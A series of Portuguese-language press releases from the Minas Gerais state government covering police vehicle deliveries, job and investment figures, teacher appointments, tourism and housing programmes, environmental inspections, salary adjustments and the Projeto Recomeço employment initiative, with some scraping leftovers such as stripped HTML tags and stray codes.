Veículos serão usados na renovação da frota e fortalecimento da polícia judiciária em 89 municípios 3x575k

O governador Romeu Zema participou, nesta segunda-feira (21/11), na Cidade istrativa, em Belo Horizonte, da solenidade de entrega de 112 viaturas, equipamentos de informática e mobiliários para a Polícia Civil de Minas Gerais (PCMG). Serão contempladas 89 cidades de várias regiões do estado.Os recursos totalizam R$ 22,4 milhões, provenientes de emendas parlamentares da bancada mineira no Congresso Nacional. As viaturas, modelo Renault/Duster, contribuirão para maior eficácia dos trabalhos de investigação da polícia judiciária.Em relação aos kits de informática, foram entregues 448 computadores, 112 impressoras e 112 scanners. Já os kits de mobiliário totalizam 448 estações de trabalho, 1.456 cadeiras de escritório, 112 cofres e 112 armários.CeleridadeDe acordo com Romeu Zema, as entregas proporcionarão à Polícia Civil desenvolver um trabalho de investigação mais ágil, sobretudo na diminuição da violência contra a mulher. “Desde 2019, o Governo de Minas conseguiu fazer avanços importantes em diversas áreas, e na Segurança não foi diferente. Estou falando não só de investimentos, mas também de melhorias na estrutura. Precisamos fazer a modernização da Polícia Civil”, afirmou.O chefe da PCMG, delegado-geral Joaquim Francisco Neto e Silva, lembrou que a parceria entre Governo de Minas, bancada federal e municípios já permitiu a entrega de 974 veículos, desde 2019. “A Polícia Civil está melhor organizada e com mais capacidade para executar, com sucesso, os recursos indicados nas emendas”, disse.Desde 2019, a corporação recebeu investimentos da ordem de R$ 280 milhões. Mais de 500 policiais e 165 servidores istrativos foram nomeados, em 2021 e 2022. Além disso, R$ 27 milhões foram investidos para a reestruturação de 101 delegacias. A PCMG também contou com o reforço de 2.300 armas, 1.400 coletes e placas balísticas e mais de 1 milhão de munições. 63565r

Redução das burocracias e capacitação profissional de jovens têm ampliado os postos de trabalho no estado 3k624a

As políticas públicas criadas pelo Governo de Minas, que reduziram a burocracia e simplificaram a vida de quem gera emprego e renda no estado, garantiram a atração recorde de investimentos, com aporte de R$ 235 bilhões em 42 meses da atual gestão. Este montante supera em 57% os R$ 150 bilhões previstos em novos negócios até o final do Governo Zema. Na corrida por oportunidades, Minas saiu na frente também na geração de empregos formais, possibilitando a criação de 500 mil postos de trabalho para os mineiros.

“Uma das marcas da nossa gestão é justamente a atração de investimentos. Trabalhamos para criar um ambiente de negócios atrativo e desburocratizado. Para isso, trabalhamos muito na simplificação de procedimentos e da legislação e investimos na capacitação de jovens e adultos no estado. O meu sonho é um emprego digno para cada um dos mineiros”, enfatizou o governador Romeu Zema, lembrando que todo esse ambiente favorável, já permitiu que Minas criasse meio milhão de empregos com carteira assinada.

O recorde na atração de investimentos inclui projetos que vão da implantação ou mesmo da expansão de novos negócios no estado. O programa de desburocratização Minas Livre para Crescer (MLPC), da Secretaria de Estado de Desenvolvimento Econômico (Sede), tem conseguindo impulsionar as ações de desburocratização da máquina pública, ao mesmo tempo que oferece um ambiente mais favorável à geração de postos de trabalho.

Criado em dezembro de 2019, o MLPC incentiva o empreendedorismo no estado,  propiciando o crescimento econômico e a geração de emprego e renda. O programa garante a simplificação de procedimentos e otimização da legislação, de forma a assegurar garantias à livre iniciativa. Atualmente, 236 municípios já seguem as diretrizes programa do governo mineiro.

Retomada econômica

Mesmo com o período conturbado imposto pela pandemia de covid a partir de março de 2020, Minas tem trilhado, desde o ano ado, a retomada do desenvolvimento econômico e geração de empregos com carteira assinada. Só para se ter uma ideia, de janeiro a abril deste ano, já foram criadas no Estado 78.443 postos de trabalho, especialmente nos setores de serviços e indústria, que têm liderado o emprego formal. Em três anos e seis meses da atual gestão, já são 500 mil novas oportunidades para os mineiros. Desde o início do atual governo, Minas Gerais adotou como prioridade o apoio aos trabalhadores na busca de uma colocação digna e na garantia da sua autonomia de renda.

Capacitação de jovens

Em meio ao ambiente favorável à atração de novos investimentos e para evitar a escassez de mão de obra, o Governo de Minas tem apostado também na capacitação de jovens em cursos técnicos para o mercado de trabalho. Por meio do projeto Trilhas de Futuro, da Secretaria de Estado da Educação (SEE), foram disponibilizadas 115 mil oportunidades para esse público, em 50 opções de cursos em áreas como enfermagem, mineração, vestuário, meio ambiente, redes de computação, mecânica, entre outros. 

Essa iniciativa do Governo de Minas busca oferecer aos jovens, gratuitamente, cursos técnicos de formação profissional, com perspetiva de empregabilidade, aproveitando a infraestrutura já existente e a expertise das instituições públicas e privadas.

Regularização fundiária

O Governo do Estado também tem investido para aprimorar e agilizar no Estado as demandas de regularizações fundiárias urbanas, o que permite maior interação com os municípios e a conclusão dos processos para o fornecimento do título de propriedade às respectivas famílias. Até agora, o Programa Mineiro de Integração e Regularização Territorial (Minas Reurb) já assegurou a emissão des 2.393 títulos urbanos e estão sendo viabilizados cerca de outros 40 mil. 

A ação garante o desenvolvimento econômico e social nas diversas regiões do estado, por meio da regularização fundiária urbana, materializada com a efetiva entrega do título de propriedades às famílias beneficiadas. O objetivo dessa ação do governo tem sido garantir a dignidade e a independência dessas famílias e fomentar a economia dos municípios de Reub estadual, assim como  possibilitar um melhor ordenamento urbanístico desses municípios e garantir a função social da propriedade, prevista na Constituição Federal.

Primeiro lote será publicado nesta quinta-feira (9/6), contemplando 1 mil cargos de Professor de Educação Básica para a rede estadual de ensino 1l2o55

O Governo de Minas Gerais vai nomear 2.030 novos profissionais da Educação aprovados em concurso público para atuar em escolas da rede estadual de ensino. As nomeações são referentes ao saldo remanescente de candidatos aprovados em concurso público da Educação, dentro no número de vagas previstas no Edital SEE nº 07/2017. O primeiro lote será publicado nesta quinta-feira (9/6) e contemplará 1.030 mil cargos, sendo 1.009 Professores de Educação Básica (PEB) e 21 Especialistas de Educação Básica (EEB). Em julho serão nomeados outros 1 mil professores aprovados no concurso.

As vagas contemplam 92 municípios mineiros, de 31 Superintendências Regionais de Ensino (SREs). Com o novo cronograma divulgado, o Governo de Minas totaliza cerca de 10 mil servidores aprovados em concurso público da Educação nomeados para atuar na rede estadual de ensino, desde o início desta gestão.

Gil Leonardi / Imprensa MG

“Esta é uma antiga e justa reivindicação dos professores, que foram aprovados em concurso público ainda em 2017. Esses profissionais vão contribuir muito para o aprendizado dos alunos. Já melhoramos a merenda, colocamos em curso o Mãos à Obra, programa que destina mais de R$ 382 milhões para obras em mais de 1,3 mil escolas, estamos construindo quadras poliesportivas. Queremos uma educação com cada vez mais qualidade”, disse o governador Romeu Zema. 

Chamamento

A primeira publicação ocorreu em agosto de 2019, quando foram feitas mil nomeações. Ainda no mesmo ano, em outubro, outros dois lotes de chamamento dos aprovados em concurso foram realizados. Em março de 2020, foi publicada uma nova listagem.

Em função das implicações causadas pela pandemia de covid-19, as nomeações voltaram a ser realizadas em janeiro de 2021. O cronograma foi, então, retomado após a melhoria dos indicadores epidemiológicos, com a publicação do sexto lote em setembro, do sétimo em outubro, e do oitavo em novembro de 2021. Agora, em 2022, mais de 2 mil profissionais serão nomeados do concurso de edital de 2017, que teve a vigência prorrogada até 12 de abril de 2024.

Parceria prevê geração de empregos, promoção de produtos turísticos e aumento do fluxo de visitantes nos municípios localizados na maior rota turística e cultural da América Latina m4226

Marco Evangelista / Imprensa MG

O Governo de Minas firmou, nesta terça-feira (7/6), acordo de cooperação com o Serviço Brasileiro de Apoio às Micro e Pequenas Empresas (Sebrae-MG) para fortalecer as ações de fortalecimento ao turismo no estado, com foco no território delimitado pelo programa Via Liberdade, a maior rota turística e cultural da América Latina. O percurso, que abrange 1.179 quilômetros da BR-040, interliga belezas, história, cultura e arte de Minas, Rio de Janeiro, Goiás e Distrito Federal.

O governador Romeu Zema assinou o acordo que dá início à parceria entre o Sebrae e a Secretaria de Estado de Cultura e Turismo (Secult) . Com isso, o órgão vai promover a capacitação de empreendedores localizados ao longo do Via Liberdade, além de auxiliar com ações de marketing e apoiar a estruturação de destinos turísticos.

O acordo deve gerar empregos, promover produtos turísticos e aumentar o fluxo de visitantes nas cidades.  Vão ser contempladas pelo acordo as 71 empresas habilitadas no Programa Minas Recebe, que abrange 207 roteiros no Portal Minas Gerais e 101 roteiros do Via Liberdade.

O governador celebrou o que considera um o importante para ajudar a reerguer o setor de turismo, bastante afetado pela pandemia. “Fico satisfeito por estar aqui assistindo o reerguimento de um setor que foi um dos mais atingidos ao longo destes 27 meses de pandemia. Isso inclui o turismo, eventos, hotelaria, transporte, etc. E vale ressaltar que, hoje, os números estão melhores do que no período pré-pandemia. É uma satisfação grande ver que nosso estado, apesar de não ter praia, ter atrações de sobra, montanhas, lagos, cidades históricas, gastronomia, parques naturais e, o melhor, um povo acolhedor”, afirmou. 

Mão de obra

Zema também destacou as ações do Estado para auxiliar as cidades que estão inseridas no Via Liberdade com mão de obra qualificada. “Temos no Via Liberdade um grande potencial com esse trabalho do Sebrae de profissionalização das cidades, aliado ao Trilhas do Futuro, programa na área da educação que está formando mais de 115 mil jovens e adultos em todos os setores, incluindo gastronomia, turismo e hotelaria. Estamos no caminho certo”, acrescentou.

O diretor de Operações do Sebrae-MG, Marden Márcio Magalhães, explicou a atuação do órgão na parceria. “Nossa proposta se divide em três grandes iniciativas. A primeira, que é capacitar, qualificar os gestores, meios de hospedagem etc, dando condições para que possam receber as pessoas com toda essa mineiridade necessária. Em paralelo a isso, junto ao poder público, vamos construir planos de turismo para que tenhamos uma política que incentive o desenvolvimento em cada território. E, por fim, fomento e incentivo à promoção do turismo mineiro”, disse.

Via Liberdade

O programa Via Liberdade foi lançado em abril para impulsionar o turismo nas cidades no entorno da BR-040, ligando 309 municípios nos três estados e Distrito Federal. São 188 cidades mineiras dentro do trajeto.

O secretário de Estado de Cultura e Turismo, Leônidas Oliveira, ressaltou os benefícios do projeto para Minas e para o país. “O Via Liberdade é essa importante rota turística que tem mais de 70% do patrimônio histórico tombado, que liga o mar à capital Brasília, e que tem o contexto da independência, que inclui o Dia do Fico, a liberdade de Minas e o apogeu de Brasília em uma única rota turística. Além disso, são milhares de cachoeiras, 25 parques e nove patrimônios culturais da humanidade. É a maior rota turística do país”.

Turismo na RMBH

Ainda no evento, a Secult assinou Protocolo de Intenções com a Agência de Desenvolvimento da Região Metropolitana de Belo Horizonte para estabelecer uma cooperação institucional para o fortalecimento do turismo na Região Metropolitana de BH e entorno, promovendo trocas de experiências e trabalhos de interesse mútuo.

O acordo contribuirá na implementação de projetos do Reviva Turismo e do RMBH Desenvolve e irá fomentar as discussões para a integração da atividade turística no planejamento metropolitano e municipal. 

Pessoas removidas de suas casas nas proximidades da Avenida Tereza Cristina aguardavam há dez anos pela nova moradia  4g5c3m

O governador Romeu Zema entregou, nesta terça-feira (17/5), em Contagem, na Região Metropolitana de Belo Horizonte (RMBH), a chave de 48 unidades habitacionais para famílias que foram removidas das áreas de inundação das bacias de detenção de cheias e enchentes, nas proximidades da Avenida Tereza Cristina.

Com a retomada das intervenções nesta gestão, o Governo de Minas dá uma solução para famílias que aguardam o andamento das obras há mais de dez anos. Elas dependiam de aluguel social pago pelo Estado para se manter.

Até o momento, 128 apartamentos já foram entregues pelo Estado. Está prevista, ainda, a construção de outras 144 unidades. O investimento é de R$ 53 milhões, sendo R$ 27 milhões já executados pelo governo estadual. Ao todo, serão entregues 304 unidades habitacionais, divididas em 17 blocos, contendo 16 apartamentos cada.

O governador Romeu Zema destacou a satisfação de cumprir esta entrega, que é tão positiva para as famílias que há anos esperam pela sua casa própria.

“Estamos tendo a felicidade de entregar estes 48 apartamentos para as famílias que foram removidas das áreas de enchentes e inundações localizadas próximas a bacia do Arrudas e seus afluentes. O compromisso do nosso governo é resolver este problema que assola os municípios de BH e Contagem durante o período de chuvas. Prova disso é que há dez dias assinamos um convênio garantindo o ree para que as prefeituras possam iniciar as obras de contenção das enchentes”, disse.

Fim da espera

A entrega dos apartamentos representa o fim da espera para as famílias beneficiadas. É o caso da Marisa Raimundo Elias, de 42 anos, que na última semana se mudou com sua filha Sara e seu marido para a nova casa.

“Foi uma espera longa. Quando tudo começou, eu nem tinha minha filha e hoje ela está com 8 anos. Mas digo que tudo tem seu tempo e que este seja o início de um novo tempo para todos nós” comemorou a síndica dos blocos recém- inaugurados.

Ela lembrou da época difícil quando morava na Vila São Paulo, às margens do córrego Ferrugem. “Nos períodos de chuva a gente não dormia, temendo que a água entrasse em nossas casas. Vivíamos sempre preocupados”, relatou.

A diarista Dirléia da Silva, de 61 anos, comemorou a sua nova casa. “Estou muito feliz. Este novo apartamento é a realização de um sonho para a minha família. Não vejo a hora de mudar para a nossa casa nova” disse a beneficiada que pretende mudar para o seu apartamento na próxima semana.

Acordo da Vale

A conclusão das obras está sendo viabilizada a partir da inclusão dos recursos no Acordo Judicial firmado pelo Poder Público com a Vale, em decorrência do rompimento da barragem em Brumadinho. A tragédia tirou a vida de 272 pessoas – duas estavam grávidas. Cinco joias – como os familiares se referem aos entes perdidos – ainda não foram localizadas.

O Governo de Minas reservou, no contexto das medidas de reparação, R$ 298 milhões para a execução de ações de contenção de cheias e realocação de famílias em Contagem e Belo Horizonte. Além das unidades habitacionais, parte do valor será destinada ao pagamento de indenizações para famílias que não optaram por receber o apartamento.

Obras na região

O convênio para ree de recursos destinados à execução de obras de contenção de cheias nos córregos Ferrugem e Riacho das Pedras, que são afluentes do Ribeirão Arrudas, foi promulgado em 9/5. O termo foi assinado pelo Governo de Minas, por meio da Secretaria de Estado de Infraestrutura e Mobilidade (Seinfra), e os municípios de Belo Horizonte e Contagem.

Na oportunidade, o governador Romeu Zema assinou despacho governamental autorizando a aplicação de R$ 200 milhões para a execução das obras nas bacias da Vila Itaú e Vila PTO, em Contagem, e na bacia Vila Esporte Clube, no município de Belo Horizonte.

Também foi anunciada a retomada das obras de Requalificação Urbana e Ambiental e de Controle de Cheias do Córrego Riacho das Pedras, que prevê a execução de duas das quatro bacias de detenção de cheias previstas: Bacia B2 (Praça Rio Volga) e Bacia B5 (Rua Arterial, próxima à empresa Toshiba). Os serviços foram paralisados em 2021 em razão de processo de recuperação judicial da contratada.

Vale ressaltar que a responsabilidade pela execução das obras estruturantes para prevenir enchentes é de cada município. Entretanto, tendo em vista a extensão social do problema, o Estado buscou soluções conjuntas para combater os estragos causados pelas chuvas na região metropolitana da capital.

Procuradoria Geral do Justiça endossou entendimento da Advocacia-Geral do Estado de que a Emenda à Constituição Mineira nº 97/2018 é inconstitucional 1w54h

 O Governo do Estado informa que o Ministério Público de Minas Gerais (MPMG) se manifestou pelo deferimento da medida cautelar do Executivo estadual que trata do pagamento do piso do magistério e da aplicação da proporcionalidade para trabalhadores estaduais da educação.

Em ação, o estado pede a suspensão dos artigos 2º e 3º da Lei nº 21.710/15 (e da Lei nº 22.062/2016, por arrastamento) e da Emenda Constitucional nº 97/2018, que acrescentou o art. 201-A à Constituição do Estado de Minas Gerais. Entre os aspectos questionados pela atual gestão e que motivaram o pedido da medida cautelar estão a ausência de detalhamento do impacto financeiro na folha de pagamento e vício de inconstitucionalidade. Os textos tratam sobre a política remuneratória e a carreira do Grupo de Atividades de Educação Básica do Estado.

Em 2015, a proposta para a Lei nº 21.710 foi encaminhada à Assembleia Legislativa de Minas Gerais (ALMG) e recebeu uma série de emendas que alteraram substancialmente a sua redação originária, resultando em aumento de despesa. Apesar disso, a lei foi promulgada.

No documento do MPMG, o procurador-geral de Justiça, Jarbas Soares Júnior, por meio de sua Coordenadoria de Controle da Constitucionalidade, se manifestou pelo deferimento da medida cautelar da atual gestão do governo de Minas.

Na manifestação, assinada pelos procuradores Rodrigo Alberto Azevedo Couto e Nelson Rosenvald, o Ministério Público destaca que a remuneração do servidor está inserida no conjunto de normas que disciplinam os diversos aspectos das relações, estatutárias ou contratuais, mantidas pelo Poder Executivo Estadual com os seus servidores. E, com base em decisões do Supremo Tribunal Federal (STF), “nem mesmo por meio de emenda à carta estadual, cabe ao Legislativo dispor, originariamente, sobre remuneração dos servidores públicos do Poder Executivo, como ocorreu na espécie.”

Além disso, a manifestação destaca argumento da ação do governo de Minas que aponta “desconfiguração do art.2 em razão da imposição da obrigação de se pagar o piso salarial profissional nacional ao servidor estadual ocupante do cargo de Professor de Educação Básica que cumpra a carga de 24 semanais, que não constava da proposta inicial”.

Proporcionalidade

Em Minas Gerais, a carga horária dos professores da educação básica do Estado é de 24 horas semanais. Em fevereiro de 2022, o valor do piso nacional ou a ser R$ 3.845,61 para uma carga horária de 40 horas semanais. Aplicando-se a proporcionalidade, para as 24 horas semanais efetivamente estabelecidas para os profissionais da educação básica de Minas Gerais, o valor vigente do piso nacional para a carga horária de 24 horas semanais é R$ 2.307,38. Em Minas, a partir da aplicação da recomposição salarial, o vencimento inicial dos professores chegou a R$ 2.350,49, superior, ainda, ao piso nacional.

Autuações neste período renderam aos cofres públicos R$ 391 milhões  676k5x

Com propósito de proteção dos recursos ambientais e promoção do uso racional dos recursos naturais, as fiscalizações ambientais alavancaram em Minas Gerais nos últimos três anos. Desde 2019, o Governo de Minas realizou 114,6 mil fiscalizações em prol do meio ambiente, somando autuações que chegam a R$ 391 milhões para os cofres públicos.  Somente em 2021, o Sistema Estadual de Meio Ambiente e Recursos Hídricos (Sisema) fez 38.228 fiscalizações, uma média de 3 mil fiscalizações por mês e de 104 por dia. A quantidade põe Minas Gerais à frente no combate às intervenções que possam colocar em risco a preservação, conservação e recuperação do meio ambiente. 

 Apesar da pandemia da covid-19, com a paralisação de muitas atividades, o Sisema manteve as ações de fiscalizações. Nos anos de 2020 e 2021 foram feitas 71.036 ações referentes a intervenções em recursos hídricos, fauna, flora, pesca, desmatamento, barragens de água e de rejeitos, além das emergências ambientais. 

 “A fiscalização é compromisso do Sisema, que trabalha de forma contínua para assegurar a manutenção do equilíbrio ecológico, o uso racional dos recursos naturais, a qualidade de vida e o desenvolvimento sustentável. Mesmo com a pandemia, nos últimos três anos, houve a intensificação do trabalho para que as irregularidades sejam cada vez mais raras no Estado”, avalia a secretária de Estado de Meio Ambiente e Desenvolvimento Sustentável, Marília Melo.
    
Contribuem para o alto número de fiscalizações as operações especiais deflagradas e o Decreto Estadual nº 47.383/2018, que disciplina as infrações ambientais e as respectivas penalidades, atribuindo aos fiscais dos órgãos ambientais o poder de polícia istrativa e garantindo-lhes o direito de entrada e permanência, pelo tempo que for necessário, em estabelecimentos e propriedades públicas e privadas. 

As ações contam com a Polícia Militar de Minas Gerais (PMMG) por meio de Convênio de Cooperação istrativa, Técnica, Financeira e Operacional. Pelo convênio, é delegada à PMMG a competência do poder de polícia istrativa de que são titulares a Semad e suas entidades vinculadas: Instituto Estadual de Florestas (IEF), Fundação Estadual do Meio Ambiente (Feam) e Instituto Mineiro de Gestão das Águas (Igam).  
    
Semad e PMMG 

No ano de 2021, a Semad e a PMMG executaram 37.408 fiscalizações, cerca de 5.500 a mais quando comparado ao ano de 2020. Das 42.470 atividades relacionadas à flora, fauna, pesca, recursos hídricos e atividades potencialmente poluidoras, foram 13.336 infrações, um aumento de 31,4% em relação ao ano anterior. Foram lavrados em 2021, 20.251 autos de infração, um aumento de 58% na comparação com 2020. De acordo a Superintendência de istração e Finanças (Suafi), arrecadou-se R$ 56.994.384,98 em multas em todo estado, um acréscimo de 1.552% em relação ao ano de 2020.  Em três anos, foram aplicadas, pela Semad, multas no valor de R$ 1.284.012.097,22. 

“Não é nosso objetivo arrecadar multas, nosso objetivo é combater irregularidade, pois quem não investe em controles ambientais, ou faz em desacordo com as leis ambientais, é um concorrente desleal da maioria das empresas e empreendimentos que querem que o nosso estado desenvolva com sustentabilidade. O incremento da conclusão dos autos de infração mostra que a efetividade da ação fiscal ocorre no estado”, ressalta Marília Melo.
 
Além disso, o quantitativo de atividades com intervenções florestais fiscalizadas em 2021 foi de 13.728, um número maior do que os anos anteriores como 2019 (11.805) e 2020 (11.689). Isso se deve ao Plano de Ação Contra o Desmatamento, implementado em novembro de 2021.
 
Operações especiais
 
Em 2021, a Semad deflagrou seis operações Especiais de Fiscalização Ambiental cujos focos foram coibir captações de água irregulares e desmatamento ilegal no bioma Mata Atlântica; fiscalizar a cadeia de produção e transporte do carvão, além da regularização ambiental das indústrias de polvilho do sul de Minas. 

Barragens
    
O Igam assumiu a responsabilidade pela fiscalização das barragens de água em 2018 e é o principal órgão responsável pela fiscalização de barragens de água em Minas Gerais, por meio do Decreto Estadual nº 47.383/2018. Em quatro anos, já foram 437 fiscalizações em barragens de água, sendo 119 barragens fiscalizadas somente no ano ado e, até abril de 2022, já foram 87. Em três anos, foram 402 autos de infração, gerando R$ 8.475.433 em multas arrecadadas.
 
Pela Feam, que desenvolve fiscalizações em barragens de rejeitos de mineração e resíduos industriais, foram 415 fiscalizações em barragens em 2021, o dobro de 2019, quando foram fiscalizadas 212. Também pela Feam, por meio do Núcleo de Emergências Ambientais (NEA), foram feitas 187 fiscalizações em 2019 e 286 em 2021, relacionadas a acidentes ambientais. Em três anos, pela Feam, foram 1.238 autos de infração, gerando R$ 11.526.684,50 em multas aplicadas.  

Prevenção

A agenda de fiscalização está descrita no Plano Anual de Fiscalização (PAF) de cada casa do Sisema. É um documento de planejamento para organizar as ações de fiscalização e priorizar as situações ambientais mais críticas no estado. No âmbito do PAF, há o programa de Fiscalização Ambiental Preventiva que prevê a adoção de ações de mobilização, orientação e capacitação sobre práticas sustentáveis e legislação ambiental, aliadas ao desenvolvimento das ações de controle e fiscalização.   
 
O Programa de Fiscalização Ambiental Preventiva na Indústria (Fapi) é desenvolvido desde 2017 e já orientou cerca de 3.800 pessoas, entre empreendedores, consultores e demais interessados. Houve redução de 86,8% na incidência de irregularidade ambiental nas fiscalizações realizadas no bojo do programa.  Também foi desenvolvido o Fapa – Fiscalização Ambiental Preventiva na Agricultura, com a primeira edição realizada no segundo semestre de 2021 no setor de fecularia do Sul do estado. Em 2022, será realizada a Fapa – Avicultura, que abrangerá empreendedores da região do Alto São Francisco.   

Outras iniciativas de caráter preventivo são desenvolvidas na rotina de fiscalização da Semad, como a produção de cartilhas, palestras orientativas, teatro de fantoches para o público infantil, blitze educativas, eventos de entregas voluntárias de animais silvestres – oportunidade em que o cidadão pode entregar um animal que esteja em cativeiro irregular sem receber autuação. 

Ao todo, são 634 mil pagamentos, entre servidores ativos, inativos e pensionistas 5u2m4

Os servidores públicos estaduais recebem nesta sexta-feira (6/5), quinto dia útil de maio, os salários já com o reajuste de 10,06%. A Lei 24.035/2022, que concedeu a recomposição salarial, foi sancionada pelo governador Romeu Zema no dia 4/4. Ao todo, são cerca de 634 mil pagamentos, entre servidores ativos, inativos e pensionistas, contemplando todas as categorias do funcionalismo.

A porcentagem de reajuste corresponde à recomposição salarial do funcionalismo público de acordo com o índice de inflação verificado pelo IPCA no último ano e é o limite do que o Governo de Minas pode conceder dentro das restrições impostas pela Lei de Responsabilidade Fiscal. O impacto financeiro é de mais de R$ 330 milhões mensais, o equivalente a mais de R$ 4,5 bilhões por ano.

A lei também prevê a quitação dos valores retroativos correspondentes aos meses de janeiro a março para todos os servidores. O pagamento do retroativo será feito junto com a folha de maio, depositada aos servidores no quinto dia útil de junho.

Para os servidores das forças de segurança, as duas primeiras parcelas de cerca de R$ 2 mil a título de abono fardamento ou auxílio vestimenta, referentes a fevereiro e maio, conforme previsto na lei, serão pagas em maio. Ao todo, serão quatro parcelas ao longo do ano, totalizando aproximadamente R$ 8 mil deste benefício.

A ajuda de custo dos servidores também foi reajustada pelo Governo de Minas, conforme resolução publicada em fevereiro deste ano, e já é aplicada desde março. Desta forma, os servidores que recebiam R$ 47 aram a receber R$ 75 por dia trabalhado, mediante a pactuação de metas e indicadores pelos órgãos e entidades do Poder Executivo.

header class=col-md-10 col-md-offset-1 / margin-md-bottom-1
p class=text-title-4 / clear / margin-top-1 style=text-align: center;Projeto Recomeço faz parte do pacote de ações do Estado para amenizar os impactos sociais provocados pela pandemia/p

/header
div class=news-image / margin-xs-bottom-1 margin-sm-bottom-2 margin-md-bottom-3
div class=news-image-block relative

img src=http://www.agenciaminas.mg.gov.br/system/news/images/000/110/359/large/IMG_8355.jpg?1619726466 alt=imagem de destaque width=940 height=350 / Gil Leonardi / Imprensa MG

/div
div class=news-image-info/div
/div
div class=clear section class=news-related / col-md-4 col-lg-3 / margin-md-bottom-2 margin-left-1 / pull-right / hidden-xs hidden-sm
div class=margin-md-bottom-2 row/div
/sectionO governador Romeu Zema e a secretária de Estado de a href=http://www.sedese.mg.gov.br/ target=_blank rel=noopener noreferrerDesenvolvimento Social (Sedese)/a, Elizabeth Jucá, lançaram nesta quinta-feira (29/4) o Projeto Recomeço, que tem objetivo de dar oportunidades de emprego aos mineiros em situação de extrema pobreza, agravada pela pandemia da covid-19.

Com a piora da crise sanitária e suas consequências sociais e econômicas, houve crescimento significativo de pessoas que vivem abaixo da linha da pobreza no país e em Minas. O projeto pretende aumentar a possibilidade desse público de conseguir um trabalho e amenizar os impactos sociais provocados pela pandemia, por meio da articulação entre órgãos de governo (federal, estadual e municipal), setores produtivos, organizações não-governamentais e entidades, identificando oportunidades de emprego e renda para os mineiros em situação mais vulnerável.

Durante o lançamento, o governador Romeu Zema destacou que, desde o início da pandemia, o Estado vem adotando medidas para preservar vidas e também empregos no setor produtivo.

“Mais do quadruplicamos os empréstimos para micro e pequenas empresas por meio do a title=Banco de Desenvolvimento de Minas Gerais href=http://www.bdmg.mg.gov.br/ target=_blank rel=noopener noreferrerBDMG/a. Está lá na Assembleia agora o Refis. A questão do emprego é fundamental e tenho certeza que as pessoas contempladas pelo Projeto Recomeço vão valorizar muito mais o emprego do que alguém que esteja em uma situação melhor. Pessoas que valorizam o emprego, via de regra, são aquelas que vão ter melhor desempenho, que é exatamente o contexto deste trabalho”, defendeu.

strongCapacitações e estímulo/strong

A ideia do Projeto Recomeço é reduzir a distância entre as vagas dos mais diversos setores produtivos e os mineiros que precisam de um trabalho. Também serão oferecidos cursos para o ensino de um ofício e capacitações. Ações de estímulo ao empreendedorismo, como programa de Hortas Urbanas, estão programadas.

A partir das parcerias firmadas, o a href=http://www.mg.gov.br/ target=_blank rel=noopener noreferrerGoverno de Minas/a fará o cruzamento de dados do Cadastro Único da Assistência Social (CadÚnico) e do Sistema Nacional de Emprego (Sine), que atualiza as informações dos inscritos para o encaminhamento aos postos de trabalho dos parceiros do projeto.

Atualmente, há oportunidades para vagas de almoxarife, mestre de obras, apontador de obras, servente de pedreiro, pedreiro, encarregado de obras, motorista de caminhão, rasteleiro de asfalto, eletricista, auxiliar de mina, auxiliar de laboratório de minério, operador de beneficiamento, operador de equipamentos móveis de mineração e mecânico.

strongInvestimentos/strong

Aproveitando a presença dos deputados estaduais Laura Serrano e Guilherme da Cunha, Zema também lembrou a importância da Assembleia Legislativa de Minas Gerais (ALMG) para aprovação de novos investimentos que irão resultar em benefícios para os mineiros.

“Temos uma série de investimentos que hoje dependem de a Assembleia votar para criarmos milhares de empregos no estado, que vão trazer uma dinamização da economia, melhorando a vida nos municípios. São obras de infraestrutura. Precisamos agilizar isso porque sabemos que estamos em uma situação econômica em que milhares de pessoas perderam seu emprego, o seu sustento”, pediu.

strongPiloto/strong

O piloto do projeto Recomeço começou em março de 2021, quando a Copasa contratou mais de 30 pessoas por meio da iniciativa em Ibiaí, no Norte de Minas, para a obra em uma das adutoras do Sistema de Abastecimento de Água de Montes Claros (Sistema São Francisco). A intervenção foi anunciada pelo governador Romeu Zema em janeiro, durante visita à cidade.

Uma das contratadas no projeto piloto foi Jiliane Pereira de Almeida Silva, de 36 anos, que comemorou a oportunidade de voltar ao mercado de trabalho.

“Sou técnica em segurança do trabalho e moro em Ibiaí. Agradeço ao Projeto Recomeço por ter me dado a oportunidade de trabalhar neste momento de pandemia. Agradeço também pela oportunidade de contratar pessoas da cidade para fazer a infraestrutura melhorar neste momento da pandemia”, finalizou.

Novas vagas serão abertas à medida que a obra caminhar. A previsão é de que uma nova fase comece no município de Coração de Jesus no 2º semestre de 2021, além da inclusão dos municípios de Montes Claros e São João da Lagoa numa próxima etapa.

A diretora de relacionamento e mercado da a href=http://www.copasa.com.br/ target=_blank rel=noopener noreferrerCopasa/a, Cristiane Schwanka, definiu o projeto como uma forma de unir esforços para levar à população de Minas Gerais uma condição melhor de empregabilidade.

“No caso da Copasa, um grande empreendimento que a pelo município de Ibiaí é o nosso piloto para geração e capacitação de pessoas no trabalho de saneamento. Além de trazer o benefício de gerar novos profissionais no mercado dispostos a enfrentar os desafios do saneamento, será possível desenvolver novas capacitações para que a população de Minas tenha capacidade de sobrevivência neste momento tão importante”, defendeu.

strongParceria/strong

A secretária de Estado de Desenvolvimento Social, Elizabeth Jucá, explicou que todos os parceiros, empresários, instituições e terceiro setor vinculados ao programa demonstraram uma preocupação com a questão social e disponibilidade em ajudar e contribuir com o Estado neste momento.

“Em contrapartida, o Estado agradece dando um selo de reconhecimento a todas estas empresas que se preocupam com a gravidade do momento e abraçam o projeto. Convido os setores produtivos de Minas a abraçarem este projeto, contribuindo e dando oportunidade aos mais vulneráveis para reduzirmos as diferenças no estado. Tudo isso é para o bem dos mineiros. Empresas de todos os portes são bem-vindas, cada vaga importa. Para este governo, cada um dos mineiros importa”, destacou.

strongMunicípios/strong

O Projeto Recomeço já possui parceiros em Contagem, Betim, Ribeirão das Neves, Coração de Jesus, Lagoa Santa, Congonhas, Lafaiete, Ouro Preto, Ouro Branco e Nova Lima.

O presidente da Associação Mineira dos Municípios (AMM), Julvan Lacerda, destacou a importância da ação e reafirmou a parceria dos municípios.

“O Estado, responsavelmente, vem agora lançar este projeto usando as ferramentas que tem para amenizar os impactos deste momento tão difícil que estamos vivendo. Parabéns e conte com os municípios na execução e implementação neste sentido, que também é a nossa missão”, disse.

strongConstrução/strong

O Projeto Recomeço foi elaborado a partir da preocupação do estado com o empobrecimento da população após o fim do auxílio emergencial, no fim de 2020. Projeções mostravam que o número de famílias abaixo da linha da pobreza poderia aumentar 40%.

